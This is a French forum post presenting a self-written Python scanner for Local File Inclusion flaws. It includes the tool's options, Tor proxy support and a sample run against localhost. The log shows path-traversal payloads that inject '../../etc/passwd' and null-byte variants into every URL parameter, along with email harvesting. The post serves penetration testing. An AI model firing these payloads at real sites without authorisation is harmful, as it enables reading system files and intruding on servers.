begood Posted October 15, 2010 Report Posted October 15, 2010 L’utilisation de scripting et d’outil développé sur mesure, est courant dans le domaine du test d’intrusion. Afin de répondre à un besoin spécifique et surtout pour le faire la main en python, j’ai développé un scanner de vulnérabilité de type LFI (Local File Inclusion). Ce scanner est développé en python, pour sa portabilité et sa facilité d’écriture. Les fonctionnalités sont encore sommaire mais elles ne demandent qu’a être améliorées (selon le temps que j’aurai de dispo, si vous n’avez rien a faire ?). Les dépendances sont quasiment toutes satisfaites mise à part optparse qu’il vous faudra installer. J’ai embarqué une version de BeautifullSoup car il subsiste un bug lors du « parsing » des pages m’obligeant à utiliser une version inférieur à la version stable. Le scanner utilise donc une ancienne version de BeautilFullSoup cela le temps de corriger le bug. La lib termcolor n’est pas indispensable, mais elle apporte un gain en lecture. Le tools fonctionne de la manière suivante. root@corbier-laptop:/home/corbier/Dropbox/python/LfiScan# ./main.py -h Usage: main.py -h for help Options: -h, –help show this help message and exit -U HOST, –url=HOST Set url to scan france -P PROXY, –proxy=PROXY Set proxy localhost:9050 for Tor Le support de tor est complet, j’ai donc utiliser la lib pycurl car urllib et urllib2 ne supporte pas les proxy sock. Voici l’utilisation du scanner dans un exemple : root@corbier-laptop:/home/corbier/Dropbox/python/LfiScan# ./main.py -U http://127.0.0.1/ +[Crawler]+ Trying to get page ==> http://127.0.0.1/ +[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test +[Crawler]+ Trying to get page ==> http://127.0.0.1/ +[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test&t=o&d=k +[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp +[Crawler]+ Trying to get page ==> w3mhelp-w3m_ja.html +[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test&x=p +[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp +[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp +[Main]+ Trying LFI attack !!! +[injector]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd&t=../../../../../../../../etc/passwd&d=../../../../../../../../etc/passwd&x=../../../../../../../../etc/passwd& +[injector]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd%00&t=../../../../../../../../etc/passwd%00&d=../../../../../../../../etc/passwd%00&x=../../../../../../../../etc/passwd%00& +[injector]+ LFI dectected !!! on http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd%00&t=../../../../../../../../etc/passwd%00&d=../../../../../../../../etc/passwd%00&x=../../../../../../../../etc/passwd%00& Ici le scanner commence par « crawler » la page principale du site . Ensuite, il enregistre tout les liens de la page dans une liste et enregistre les paramètres et scripts dans un dictionnaire. Les liens seront scannés si et seulement si ils n’ont pas déjà été scannés. Les scripts seront scannés si il y a apparition d’une nouvelle variable (cela évite que le scanner tourne en boucle sur les forums). Une fois que le site est crawlé dans son intégralité, le scanner va se constituer une série de url pour tenter d’exploiter une potentiel LFI. La méthodologie n’est pas parfaite mais c’est la plus rapide à mettre en œuvre que j’ai trouvé. Vous pouvez télécharger le scanner ici. http://data.stealthisblog.fr/tools/LfiScan.zip Il est vous est fourni sous la licence JMB (Je M’en Branle) Vous pouvez le garder pour vous, le redistribuer, le donner à votre chien, à votre grand mère. Toutes les remarques bonnes ou mauvaises sont les bienvenues. : ) Enjoy !Steal This Blog Blog Archive LFI Scanner Quote